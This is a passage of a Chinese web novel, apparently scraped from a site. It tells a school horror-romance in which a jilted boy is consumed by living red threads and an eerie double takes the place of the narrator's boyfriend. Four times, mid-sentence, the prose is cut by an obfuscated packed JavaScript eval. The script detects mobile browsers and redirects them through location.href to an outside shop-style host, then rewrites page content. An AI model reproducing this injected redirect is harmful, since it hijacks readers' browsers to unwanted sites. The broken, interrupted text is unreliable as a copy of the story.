桃子凭什么擅自切断他们之间的命运红线,让他进入如此诡异窘迫的生死关头? 明明他都低声下气去求她跟自己重新在一起了… --…等你被红线彻底吞噬..你会死得很惨… “死的很惨。” 这四个字就像是魔咒一样在他脑海中挥之不去。 绝对不可以就这样死掉! 想到这里,他加快了自己前进的步伐,几乎都要跑出残影来。与此同时,他身上的红线越来越多,只不过短短几分钟便覆盖了全身的位置,如果不是他张着嘴巴和死命睁开双眼,恐怕就连嘴巴和眼睛都要被这疯狂的红线给覆盖掉。 充血的双眸瞪得圆大,里面燃烧着疯狂又执拗的火光。 该死的…难道就要死在这里了吗? 好不甘心…真的好不甘心… 命运好像听见了他的心声,他忽然眼神一亮,看见了最前方的樱井桃子。 此时正值上学,不少的学生聚集在校门处,见了浑身裹满红线的石井都吓得退避三舍。他便借了便利一路畅通无阻地直冲樱井桃子而去。 樱井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682542|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃子一开始并没有认出这个浑身裹满红线的男人就是她的前男友石井,直到石井喊了她一声,她这才惊觉面前这团线条怪物竟然是石井! 可石井到底发生了什么? 开玩笑,这可绝对不是什么想要用死威胁她就能轻易做到的程度! 此时的石井嘴巴已经被红线缝上,他正努力的张嘴试图发出最后的声音。 怒音从喉咙深处发出,他说: “桃子,不要离开我…不可以…绝对不可以…就算是死也要…也要拉…” 这个怪物要拉着自己一起死! 一瞬间,她双腿就好像被钉死在了原地动弹不得,恐惧让她浑身颤抖,就在石井距离她只有几步之遥的时候,她的现男友及时出现将她拉开,这才躲过了猛扑过来的石井。 “好…好可怕!” “这到底是什么怪物?” “…这还是石井吗?” 此时的石井嘴巴和左眼都已经被红线缝上,就双腿也被包裹在一起,根本无法正常行走,甚至就站立都做不到。 他便像一条毛毛虫一样,在粗糙的水泥地面上爬行。 -可恶!这个可恶的男人又来坏他的好事! 真该死,所有人都该死! 这些冷眼旁观,把他当笑话看的人,全都该死! 为什么要死的不是他们,而是他!? 忽然,他用仅存的视力捕获到了前方不远处的白石冬花。少女施施然地行走在晨间的光中,裙摆在空气中划动着好看的弧度。 只有冬花同学是不一样的! 她会在所有人都嘲笑自己的时候,来安慰自己.. 纯洁的、善良的、美好的,就像是虚幻、轻飘飘的羽毛一样… 他怎么可以把冬花同学一个人留在这个丑恶的世界当中遭受折磨? 死到临头,他竟然从心底萌生出‘要拯救可怜的冬花同学’的正义感,便用尽最后的力气往白石冬花的方向奋力爬去。 --要拯救冬花同学… --可怜的冬花同学… * 被众人的惊呼声吓到的,我顺着骚动的方向看过去,就见一个巨大的毛虫线团正蠕动着朝我的方向爬过来。 那坨巨大的线团已经完全看不出半点人形,只有最前端还露出的一只赤红的眼睛,正死死地盯着自己。 毛团似乎还在呢喃着什么,密密麻麻的红线已经将他的嘴巴完全封住,他的声音从喉咙发出,透过密不透风的线团,粗糙又沙哑。 他说:“…冬花同学…跟我一起……合二为一吧…” 我这才惊觉,面前这团线团包裹着的,不是别人,正是石井同学! 什么玩意竟然说出这么恶心的台词?! 我下意识后退了两步。 变身成巨大的红线团的虫型石井似乎被我后退两步的举动刺伤,眼睛越发充血发红,为了顺利捕获我,他甚至用尽力气朝我甩出了一根红线。 要是被那根红线碰到的话…绝对会死的! 这个认知瞬间出现在我脑海当中,我被吓得拔腿就跑,下意识冲到龙介面前,也顾不上我和他之前的‘恩怨情仇’,直接一个狠狠抱住。 龙介的怀抱冰冷得不像活人,我被冻得瑟瑟发抖。 但出于恐惧,我完全不敢松手,反而越抱越紧。 我整张脸埋在他的怀里,哆哆嗦嗦地开口: “救、救命啊龙介…” 救命…怎么会这么冷啊… 5. 第五章 少女的身体轻盈得像是跌落花丛的翩翩蝴蝶,稳稳当当地降落在他的怀里。树荫下的黑发少年先是身体一僵,怕她摔下去,条件反射伸手扶住她的后背。 意识到自己这种下意识的举动,他的眸光越发冷冽。 “救、救命啊龙介……” 白石冬花浑身颤抖着,她感觉更冷了一点,整个人如坠冰窖。 像是被淋湿的应激幼猫,哆哆嗦嗦地将脸埋在主人的怀里,垂眸入目的是少女白皙纤细的脖颈,她扎着高马尾,但还是有几缕不听话的黑发缠绕在脖子上,如同绕柱子的藤蔓似的。 纤弱的仿佛一折就能断。 皮肤下若隐若现的青色血管,流淌着他厌恶着温暖温度和生命力。 她把他当成了龙介。 那个他最讨厌的废物。 不过—— 比起轻易杀掉那个家伙最心爱的宝物,一点一点将她弄坏,那家伙的表情一定会更好笑吧… 嘴唇勾起细微的弧度,他顺着对方的话说道:“……冬花,别怕。” 然后接下来就是,解决掉这个碍事的家伙。 已经派不上用场的废物,可以消失了… 白石冬花,再变得可怜一点吧… * 说实话,如果不是还能听见龙介若有似无的心跳声,我都怀疑我抱住的是一个大冰块而非活人。不过也是托了龙介的福,他熟练地抱着我轻松地躲开了石井的线。 我耳边还能清楚地听见石井那愤怒和不甘的吼叫声,那声音已经不像是任何人类能够发出的,反而像是某种危险又未知的大型野兽。 “...天啊……这究竟是什么东西啊…” “你看到了吗?佐藤…佐藤被卷进去了…好可怕!快点找老师过来!?快点啊!!” “…这种情况应该报警…啊不对,应该叫救护车!” “……” 我小心翼翼地探头看去,只见石井已经完成被诡异的红线淹没,原本想要将我勾住的红线因为龙介的及时闪躲避开,从而飞向另一边近距离围观的隔壁班的佐藤身上。 一开始只是一根。 佐藤是个铅球运动员,牛高马大一身充满力量感的肌肉,偏偏那红线也不知道是什么材质,佐藤用尽全身力气也没办法扯动分毫,然后是越来越多的红线朝他袭来,巨大的拉力拉扯着他连滚带爬地被拖拽到早已滚成一大团线团的石井处。 红线不仅束缚住了佐藤的行动能力,还争先恐后地从他的嘴巴,耳朵,鼻子甚至是眼睛中刺进去,一时间,操场上只回荡着佐藤痛苦的惨叫声。 莫约半分钟,随着佐藤被完全吞噬,那些躁动不安的红线似乎终于饱腹一餐,随即安静了下来。 只有空气中飘散着石井生前最后的呢喃—— “…不甘心…怎么会跟一个男人绑在一起…好不甘心啊…” 不是哥们,都要死了你纠结的竟然是这个?! 我嘴巴张张合合,最后还是把吐槽咽下去。 面前发生的一切太过离奇和诡异,把所有人围观的人包括我的三观都震撼得完全说不出来话来。 ……最后是老师和保安过来疏散了我们。 我和龙介并排走在一起,久久沉默。 我不想主动跟这个‘渣男’说话,没想到这小子嘴巴比我的还硬,硬是半个字都没有跟我说。 ...一阵气结...果然是渣男... 我正欲说些什么,经过走廊的大窗户时,看见底下已经拉上警戒线的红色大线团,警察和医生围在一米开外的位置似乎在检查着什么,但还是一无所获的样子。 看来就算是见多识广的警察和医生们,也对面前发生的一切束手无策。 ”...石井同学和佐藤同学...还能活着吗?” 我试探性地开口道。 “你觉得呢?” 龙介的语气轻描淡写,就好像两条人命在他眼中不过是一句‘早上好’‘’下午好‘一样简单。 “...就算不被红线绞死,也会窒息而死。” “……” 他停下脚步,奇怪地看着停下脚步的我。 “我不喜欢龙介这样说话,就好像这两条生命在你眼里跟两只蚂蚁一样的…以前的龙介不是这样的。”我皱着眉认真地看他。 龙介确实变得不一样了,不仅是外貌上的变化,更是一种气质…甚至是更深层次的一些变化。 大概就是这些我看不见的变化,龙介才会这样对我吧,根本无关乎是不是我哪里做的不好不对,全都是龙介的错就对了! 他果然是渣男… 就该分手,马上分手! 但是分手前,一定要问清楚… “对不起…” 他没由来忽然的一句道歉把我内心燃起的勇气瞬间浇灭,只留下一个疑问号。 “哈?” “我不该这样说话的…以后不会了…”他垂眸,鸦羽般的睫毛投下一片阴影,衬得皮肤苍白如纸,一副脆弱纤细的模样,惹人垂怜。 见鬼的惹人垂怜! …认错态度很干脆,最重要的是这张脸、这个表情真的太美了,以至于完全没办法说一些重话… 如此种种,生生把我原本要责问他的话给压下去了。 就在此时,上课预备铃响起,我这才堪堪从他的‘美色’中回过神来。 真是见鬼…凭什么他可以越长越好看? “...要上课了!先不跟你说了,总之…放学后龙介你要等我一下,我有重要的话要对你说!” 说完,便不顾他转身快速跑回了自己的教室。 只留下阴郁的黑发少年在原地。 少女的身影消失,空无一人的走廊开始弥漫起淡淡的雾气。 他的身影在雾气中变得虚无缥缈,不可捉摸。视线随着少女的消失而瞥向一边,教学楼前方的线团处,又来了两个西装革履的家伙。 他的目光中透露着讥讽,随后便随着雾气一起消失在走廊上。 * 说实话,发生了这样的大事,大家包括老师上课都是一副恍恍惚惚的样子,最后干脆都改成自习了。本来学校是想要直接让我们回家的,可是后面来了两个穿西装的家伙,说是需要调查观察一番,确认没事了才能离开。于是老师就让我们待在教学楼内,不能离开半步。 我才注意到乙骨忧太今天没来上学。 这小子倒是爽,我们是想走走不了,他直接都没来。 不懂就问,这家伙是会预知吗? 既然不用上课,前桌美惠子同学也开始了八卦模式。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682543|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “...我刚才听到老师他们在讨论,好像警察和医生都对‘石井的状况’束手无策呢…好吓人,也不知道到底是怎么了?不过后面好像来了两个很厉害的角色……也不知道什么单位的,你说会不会是·什么FBI或者52区,石井他其实是外星人…” “美惠子同学,你科幻片看多了吧…怎么会这么离奇的事情啊…” 我单手托腮,嘴上应付着她,思绪则是飘得老远老远。 “...总之,要相信警察的调查结果啦!” “...你说的也对啦…对了!冬花同学,你和那个新来的转校生是什么关系啊?” 我一愣,一下子没反应过来她口中的转校生是谁。 “...你是说龙介吗?” 我疑惑地问道。 不过、美惠子同学怎么一副完全不认识龙介的样子? 她似乎也愣了一瞬,表情忽然变得有些奇怪,随后又立马恢复正常,不好意思地挠了挠头,“噢噢噢噢!对哦!那是深田同学…我怎么会忘了深田同学那张脸…不过,他好像又变帅了呢,真羡慕冬花同学啊…” 不知怎地,她的话配上有点痴迷的眼神莫名其妙让我有点不是很舒服。 那不是任何吃醋的不舒服,而是一种给我很违和的不舒服。 就在此时,老师带着刚才看见的西装革履的男人进了教室。 为首的男人一身班味,浅金色的头发一丝不苟地梳在脑后,露出光洁饱满的额头,带着奇怪的眼镜,一尘不染的白色西装,唯独木着的脸上写满‘讨厌工作’四个大字。 只见他快速地扫了一眼在座的学生然后朝着后面穿着黑西装的男人摇了摇头。 然后两人便离开了这个教室,前往下一个教室。 没有人在意这段小小的插曲。 没过多久,老师就过来宣布我们今天可以提前放学了。 可我在校门口左等右等,也始终没有等到龙介出现,好不容易逮住了他们班上一个姗姗离开的同学,一问才知道,龙介从第一节课开始就请假了。 可恶啊,这家伙! 等明天上学见到他,一定要狠狠地数落他,然后再豪爽地留下一句“分手吧,死渣男!”,这样就可以名正言顺分手,也不用老是为了圆谎骗人了… 就这样办! 然而想象很美好,当天晚上,龙介就出现在我家门口了。 * 傍晚时分开始下起了倾盆大雨,我独自蜗居在家里。我的父母因为工作的缘故常年出差在外,家里大部分时候都只有我一个人。 所以当家门铃响起的时候,我还有点被惊到。 脑子里闪过无数有关‘雨夜屠夫’之类的都市传闻和恐怖片剧情,好一会儿才小心翼翼地走到门的后面,探头去看猫眼—— 那个放我鸽子的龙介就站在门外。 我气直接不打一处来,直接拉开门说道,“你还来找我做什么?我跟你说,我这次是真的生气…啊不对,从你不接我电话,不回我信息的时候我们之间就已经结束了,龙介,不是你甩我,是我甩你,我要正式跟你说,我们分…”手吧… 我忽然注意到,龙介浑身都湿漉漉的,在雨中脸色苍白得好像下一秒就要倒下去了。 他说:“对不起,冬花,我来晚了。” 6. 第六章 顾不上其他,我赶紧将浑身湿透的龙介迎进房子里。 可他只是站在门口的玄关处。浑身湿透,衣服浸饱了雨水,顺着引力滴答滴答地砸落在玄关的地板处,很快就淌出一大片水迹。 ...等会要擦地板了... 他还是嘴里一直念叨着对不起,也没等我问,他便说起了之前消失的原因。 他说他生了一场很严重的病,自己也不知道自己到底能不能活下来,所以一直不敢跟我见面也不敢跟我说话。 明明是非常牵强的理由,但龙介的脸色苍白得可怕,就好像是一具还会动的尸体,漆黑的眼眸紧紧地看着我。 好像只被淋湿的小狗...在外面迷了路好不容易找回主人,又战战兢兢害怕被主人赶出去家门的既视感。 “……” 我非常诚实地伸手摸了摸他的头,忍不住放低声音道,“...我以为龙介转学之后不理我了,是因为在新学校有了别的喜欢的女生。如果是这样的话,龙介大可以直说,然后我们之间好聚好散...不过现在你还是快进来先处理一下...” “不是这样的!冬花!我最喜欢冬花了!” 他急切地反驳我的话,雨水顺着他苍白又瘦削的下巴弧线滑落下来,没入已经完全湿透的白色衬衫上。 “不回冬花的信息是因为...我太害怕了...” 短短的几个月里面,发生在他身上的事情是如此的可怕离奇,重新回到雾之町让他再次想起了小时候曾经发生的那桩噩梦,加上那个如同诅咒般的黑衣少年... 他不仅害怕透露太多会将无辜善良的冬花卷入这些事件当中,也害怕她知道自己过去做的那些事会对自己感到失望和厌弃... 种种如此,他只是太害怕失去冬花了。 这种失去不单纯是情感上的失去,甚至说,比起情感上的失去,他更害怕是被那个家伙发现自己的软肋。 他会害死冬花的! 他没办法接受冬花任何死掉的可能性! 一定要想办法消灭黑衣少年… 想到这里,他的表情忽然之间又变得激动起来,“不要相信他,冬花,那个人...不要相信那个人...他和我是不一样的...他会害死你的...” 龙介的身体肉眼可见地颤抖着,这让我不由地担心起他的健康状态来。 他不会是发烧开始说胡话了吧? 这样想着,我不由分说地上前抓住他的手。 ...好冰... 龙介的手冰冷得可怕,握住他手的一瞬间,我感觉手上的皮肤就好像被刚从冰箱里拿出来的冰块紧紧地贴住,透骨的寒意让我的脸有一瞬间的扭曲。 我咬了咬牙,还是将试图挣脱我的龙介强行拉到沙发边上,摁下去。 “...冬花,这会弄脏.....” 他在沙发上扭扭捏捏的,在我的注视下,最后还是把话都吞下了下去。 冬花最讨厌做家务。虽然有阿姨定期来打扫卫生,但阿姨不在的大部分时候,都是龙介在帮忙做家务。 “总之,先把身体擦干,不然会感冒的,你的体温太低了,还要烧点热水...” 我赶紧去浴室拿干毛巾,路过厨房的时候还顺手把热水壶打开。 完成一系列的动作,我回到客厅的时候,原本还非常拘谨小心翼翼害怕弄脏我家地板和沙发的龙介正大大咧咧地躺在我的沙发上,米色的沙发已经晕染出一大片深色。 “先把头发上的水擦擦,还有这个,是我爸爸的衣服,可能对你来说有点宽松,但还是先换上,不然你肯定要生病的...” 我将干毛巾和干净的衣服一并递给他,然后忽然又想到刚才那冰冷的可怕的触感,又立马补充道,“...还有体温计,得给你找个体温计量一下,你刚才的手真的冷得吓人....先量一□□温,然后等会水好了喝点温水...” 他却有点不耐烦地打断了我,“冬花好啰嗦。” ? 我一愣,给他好脸色让他蹭鼻子上脸了? 正准备发作的时候,他又忽然说,“...我饿了,冬花,我好饿...快去给我做点吃的...” “......你真的想吃我做的东西?” 我没有顾上生气,而是非常严肃地反问他。 他微微颔首,高挺的鼻梁在空气中划过好看的弧度,血一样的嘴唇微动,他说:“当然。” “好难得,以前我说要亲自下厨给龙介做饭吃,龙介都不肯呢...那我现在就去给你煮碗面吧!” 怕等会他就要反悔,我摩拳擦掌地走进了厨房,开始捣鼓起来。 哼,原来是那个废物平时根本舍不得让少女进厨房... 就像是什么不得了的宝物般,含在嘴里怕化了,捧在手心又怕掉了...真是废物才会有的无聊的情感和举动。 就算是当玩个宠物养成游戏,也要按照他的心意来玩,怎么能被人左右? 想到这里,他的红唇扬起微妙的弧度,开始肆意地打量起周围的环境来。 白石冬花的家非常简洁,因为父母常年出差的缘故,简洁得甚至没有多少生活气息,茶几上干干净净,就连花瓶上插得也是便于打理的假花,只有墙上挂着一副一家三口的合照,两个大人都挂着非常公式化的笑容,唯有年仅七八岁的白石冬花笑得一脸灿烂... 他顿感无趣,移开视线却又看见玄关处那一大片的水迹。 空气中似乎还残留着那个家伙的气味。 真的很讨厌… * 久违地踏进厨房,我还有点小兴奋。我父母虽然时常不在家,但在生活方面从来没有亏待过我,生活费给我留的是绰绰有余,甚至还有阿姨时常来照顾我的一日三餐,而我上了高中之后,由于外卖软件的普及,就连阿姨也很少上门给我做饭了,而是改为一周来搞三次卫生。 平时刷做饭视频刷得不少,像这样自己做的情况还真是不多。 虽然只是做个简单的方便面。 我正打算打开冰箱看看有没有鸡蛋,却注意到冰箱门上贴着的新的便利贴。 以前龙介就很喜欢在冰箱上贴便利贴提醒我什么食物需要什么时间吃完等等之类的一些信息,那些贴纸我都没舍得清理掉,现在还在我的冰箱门上。 可这张便利贴的颜色和其他的便利贴都不一样,显得鹤立鸡群,非常突出,所以我几乎是立马就发现了。 可上面的话却又让我陷入了深深的疑惑当中—— “不要相信他!他是假的!!!” 虽然字写的有点仓促,但字迹和周围以前龙介给我留的纸条如出一辙。 我瞬间感到一股凉气从背后窜上来,下意识将这张便利贴撕了下来藏在自己的口袋里,脑子则是高速运转起来。 这是什么意思? 他是假的……? 他是谁? 难道是指...外面的龙介吗? 就在这时,龙介的声音从客厅处传来—— “还没好吗?冬花,我好饿...冬花,快点!” 我赶紧关火将面盛了出去。 但那张纸条就好像一颗石子,投入平静的湖面,虽然很快淹没水底,但引发的涟漪久久没有消失。 自龙介转学回来之后,却是变得非常不一样了。 我开始仔细地回忆起他回来后发生的桩桩件件——以前的龙介从来不会放学的时候不等我就离开了,身为优等生除非是真的病得不行了才会选择请假回家休假…而且最最重要的是,龙介从来不会主动开口要我做东西给他吃… 难道说…… 面前这个龙介是假的? 这个想法太过惊悚,以至于诞生的瞬间,我的呼吸不由地急促起来。 心砰砰砰地快速躁动着。 客厅里,龙介正懒洋洋地躺在沙发上,叠着腿,呈现出一副修长的模样。见我傻站在厨房门口,他眼睛余光瞥向我,表情忽然变得玩味起来。 “冬花,怎么傻站在那里?快来啊,我快饿死了…” 我注意到,他的嘴唇好像更红了。 就好像是电视剧里演的,刚吸完血的吸血鬼,红得快要滴出鲜血来。 与之鲜明对比的,是他苍白得近乎病态的皮肤,还有那双如同黑洞般的双眸,纯粹的黑仿佛没有一点光能进入,好像连我的身影都没办法映入他的眼眸当中。 正常人真的能拥有这样的唇色和肤色吗? 大概是受了那张便利条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682544|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的内容影响,明明他唇角染着笑意,一如既往地好看,啊不对…甚至比过去任何时候都要好看…我却偏偏觉得有点遍体发寒。 “冬花,你在害怕我吗?” 他的声音听上去不是很高兴。 我立马回过神来,强行将心底那些慌张压下去,捧着还冒着热气的面条来到他面前。 “家里没什么材料了…我就给你打了个鸡蛋进去,龙介先将就吃点?” 我有些忐忑不安地开口。 他只是嗯了一声,然后垂眸打量着我做的面条。 面条煮熟了,荷包蛋没有弄糊,汤汁也是正常的颜色,凑近还能闻见方便面的香味… 这不是可以做的很好吗? 见他一直盯着那碗面条,我的内心越发忐忑了,“...是有什么问题吗?” “没什么…看起来很好吃的样子。” 他不吝赞美道,随后拿起了筷子,吃了一口,顿住。 色香都俱全了,就是这个味…比太平洋的浓缩海水都要咸。方便面都有自己的调味包,她是怎么做到的? 他不是凡躯,无需进食也可以活下去,但唯独味觉没有退化,相反,他的味觉比人类都要灵敏一百倍。 “味道怎么样?” “还可以…比以前有进步了。冬花真棒呢…” 他违心地开演道。 黑发少女听不出他语气中的冷淡,一心沉浸在那句‘比以前有进步’的夸奖当中,要是有尾巴,早就翘上了天。 那样子蠢得可怜…… “真的吗?那龙介你多吃一点!不够的话,锅里还有哦!是辣味的,我害怕龙介吃不了辣,多加了点糖进去中和味道呢…” “……” 肯定是把盐当成了糖放进去了。 蠢死了。 不过,他终于知道为什么深田龙介这个废物从来不让少女接近厨房了。 那个废物也该死,都是他的错! 特意挖了个坑让他跳是吧…… * 见龙介大口大口地吃着我做的面,我心中的成就感顿时达到了顶峰,甚至已经开始盘算着下一次做什么了。 “龙介喜欢就好!下次我再去学点别的做给龙介吃!” “不用。” 还没等我问为什么,他又立马补充,“...我不舍得冬花这么漂亮的手,被厨房玷污、变得粗糙…” 我:“……龙介你以前也是这么说的…不过我这次有好好戴手套?” 然后举起手给他看。 也不知道这句话哪里触了他的霉头,面前的龙介又肉眼可见地变得阴沉、不悦起来。但不高兴归不高兴,吃面的动作是一刻都没停下来。 我百无聊赖地开始发呆。 如果刚才我还有点怀疑面前的龙介,现在对他的怀疑基本就打消了。 如果不是真正的龙介,怎么会说出和龙介曾经讲过的类似的话呢… 而且他还夸我煮的面比以前有进步诶…(划重点) 而且,我忽然注意到玄关上的一滩水渍已经擦干,地板干净得锃亮,几乎都可以反光照镜子了,然后是刚被弄湿的沙发,如今也是干干爽爽。 他绝对是真正的龙介! 因为龙介有严重的洁癖,只有真正的龙介,才会这样见缝插针地帮我搞卫生! 可那张纸条是怎么回事? 目光收回,我看向正在吃面的龙介。 原本湿漉漉的龙介…… 我惊讶道:“诶?龙介你怎么干了?!” 就连每一根头发丝儿,都是干干爽爽,根根分明。 “……因为太热了,所以水分都蒸干了…这样不好吗?” 不是,刚才明明是一副从水里捞出来的样子,才过去半小时不到就蒸干了? 而且进来的时候,龙介整个人的温度低得可怕……比停尸房里冷冻了好几天的尸体都冷。 “...不信的话,冬花摸一下就知道了…” 话音落下,龙介抓住我的手。 他掌心的温度瞬间传到我手上。 烫得可怕。 我立马抽出手,大惊失色道:“龙介,你绝对是发高烧了吧!” 这哪里是正常人会拥有的温度?! 7.第七章 “我没有发烧。”他还在嘴硬。 我:“你有,你的体温太高了,这绝对是发烧。” “你需要量体温,吃药,然后休息。” 或许可能还要看医生。 只是眼下外面暴雨,估计出行困难,打车的话或许有机会,但好贵… “总之,你现在是个病人,要听话吃药好好休息,要先观察一晚上。” 明天大概雨就停了。 黑发少年的眉头微蹙,似乎有些不满。但这种不满随后就被忙前忙后的少女给打消了。 他全然享受白石冬花为他忙前忙后的姿态。 或许连他自己都没有察觉,那样暗自较劲的姿态像极了争夺宠爱的小孩子,拼了命抠细节来证明白石冬花更偏爱哪一个。 可明明,在白石冬花眼里,始终都只有一个‘深田龙介’。 * 我翻墙倒柜终于在一众抽屉里找到了药箱,基本的温度计、常用药还有退烧贴里面都有。但因为已经很久没生病的缘故,我还特意看了一下保质期,都没过期。 然后还去厨房给他倒了一杯温水。 走出客厅的时候,龙介躺在沙发上,身上还盖着黑紫的kuromi毛毯,是我从卧室中拿出来给他保暖用的。 包裹得像个蚕宝宝一样。 我忍不住笑出声来。 龙介瞪了我一眼,准备讲话的时候我趁机将体温计塞进他嘴里。 他作势就要吐出来,被我阻止了,“这个体温计没用过的,而且我有做好消毒,你要乖乖的…” 龙介的脸色仍旧不虞,但好歹是乖乖含住了体温计。 他的脸色还是很苍白,但凑近了看,他的皮肤居然完美的没有半点毛孔,就好像做工精致的瓷器,在出窑前就已经将最好最美的状态定格住一般,完美无瑕。 …以前怎么没感觉龙介的皮肤这么好,好羡慕他的皮肤… “龙介用的是什么洗面奶和护肤品,皮肤真好。” “我不用这些玩意。” “你的睫毛也很长,是怎么长的呀?” “天生的。” “嘴唇呢?龙介的嘴唇好红…” “天生的,冬花,你好吵。” 哦,原来是天生丽质,那没事了。 不分手也挺好的,有个这么好看的男朋友…… 我直接闭嘴,干脆别开了视线,数着墙上钟表的时间准备要抽体温计。 …… 本来是觉得她吵,但见少女宁愿发呆也不愿意再看自己,他反倒有点不开心。 少女坐在沙发前,单手托腮侧目盯着墙上看,吊顶的灯光为她的姣好的轮廓蒙上一层虚幻的光圈。容貌谈不上惊艳绝色,但很耐看,是会让人忍不住一直看并且越看越觉得好看的长相。 尤其是白石冬花有一双很好看的眼眸,她的瞳孔是浅灰色,清浅的底色在户外的晴天会染上太阳的颜色,但他最喜欢她原本的浅灰,和他那双纯黑的眼眸不一样,可以清晰地映出他的模样。 少女瞳孔的灰幕像是晨间的雾气,而他喜欢朦朦胧胧的雾气。 他就是在雾中诞生的。 想到这里,他捏了一下她的手。 后者有点吃痛地回过神来,不满地瞪着他。 那双眼睛再次印出他那张苍白的脸来。 要是玩腻了,这双眼睛可以留下来,定格在她死前的最后一刻看见的,得是他。 他满意地想到。 “你干嘛捏我?!” 少女素净的脸瞬间鼓成河豚状。 他适时地开演,故作难受,“冬花,我好难受…” 河豚瞬间破功,开始对他嘘寒问暖起来。 注意力就这样被成功转移。 白石冬花,好蠢…… * 龙介一直叫着难受,但是又始终说不出来到底哪里难受。见时间也差不多了,我便抽出温度计。 37.6,低烧。 怎么可能是低烧! 刚才明明烫得吓人! 我严重怀疑是温度计出问题了,但龙介似乎并不这样觉得,并且表示自己只要好好睡一觉,第二天就会好起来的。 和刚才一直喊着难受的状态简直是判若两人… 不过现在确实也是时候不早了,明天还要上学。我不放心,还是让龙介吃了颗退烧药,然后再次裹得严严实实,在龙介疑惑又期待的目光中,起身,嘱咐道: “盖好被子,要是能捂出一身汗的话,明天指定能好!我就先进房间睡觉啦!” “龙介要乖哦!晚安,明天见!” 一直到我关上房门,才感觉龙介的目光消失,顿时松了一口气,然后扑倒在我柔软的床上,伴随着外面的风声雨声,没多久就沉沉地进入了梦乡。 只是半夜的时候,我感到一阵莫名其妙的寒意侵袭而来,半睁眼找被子盖的时候,却发现周围是朦朦胧胧的一片灰白色的雾气,正密不透风地包裹着自己。 我没有多想,还以为自己在做梦,暗道这真奇怪的梦啊… 随后把自己卷进柔软舒适的毛毯里面,又安详地闭上眼睛沉沉地睡过去。 朦胧的灰幕中,逐渐显露出一双只有眼白的眼睛,肆意的、充满侵略性地盯着熟睡中的少女。 * 第二天早上醒来的时候,龙介已经离开了。 我没有多想,只认为他恢复的差不多自行离去,毕竟他昨天没有穿校服,今天要是正常上学的话,得回家先换身校服吧…… 我来到教室时,昨天请假一天的乙骨忧太已经安静地坐在自己座位上,见了我,目光隐隐有些忧虑,还一副欲言又止的模样。 “乙骨同学,你有事要跟我说?”我率先开口问他。 他嘴唇微动,最后还是摇了摇头,吐出一句:“早上好,白石同学。” “……” “...早上好,乙骨同学。” 我不冷不淡地回答,然后回到自己的座位上。 没多久,高桥美惠子也姗姗来迟,只是她一放下书包就迫不及待地转过头来,开始跟我分享起今天上学时候的见闻来, “冬花同学,猜猜我刚才在路上碰见了谁!?” “谁?” “是我们班上的富山美贵啦,她不是请假请了一个礼拜,今天来学校的路上我碰见她了…太夸张了,完全像是变了个人似的…如果不是她主动跟我打招呼,我完全没办法认出来是她…” 变了一个人似的? 这是什么意思? 还没等我问出来,富山美贵便踏着施施然的脚步走进了教室。刚一教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691272|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室门,就吸引了班上大部分同学的关注,一开始没有人认为这是富山美贵。 原因无他,我们所认识的富山美贵时常会抱怨自己自然卷,每次稍微留长一点都会变得非常不美观以及难以打理,所以富山同学总是一头利落短发,有点肉感的脸颊上也是长满了雀斑,单论五官外貌确实不太突出。 而面前的少女皮肤白皙,好似脱壳鸡蛋般吹弹可破,脸颊两边还有留有一点无伤大雅的小雀斑,反而为她增加了一丝可爱与俏皮,最吸睛的还是一头秀丽光滑的黑色长发,好像每一根头发丝儿都得到了精心护理,发缝之间都透露着优雅和精致。 大家都看着她,却没有人敢上前问她是谁,直到她坐在了富山美贵的位置,大家才如梦初醒般反应过来。 “啊?她真的是富山同学吗?” “天啊,怎么可能,她怎么变得这么漂亮了…” “她的头发是怎么搞的…好漂亮的头发…” …… 不一会儿,她周围就围上了不少好奇的同学,大家七嘴八舌地都在问她有关变美和头发的事情。甚至不少其他班的男同学,会为了看富山同学刻意路过我们班级,从窗台或者后门的位置偷看她。 富山美贵的位置在我的斜前方,从我的位置正好可以看见她的背影。她的头发实在是太美丽了,从背后看,就好像一匹流淌着光芒的黑色丝绸。 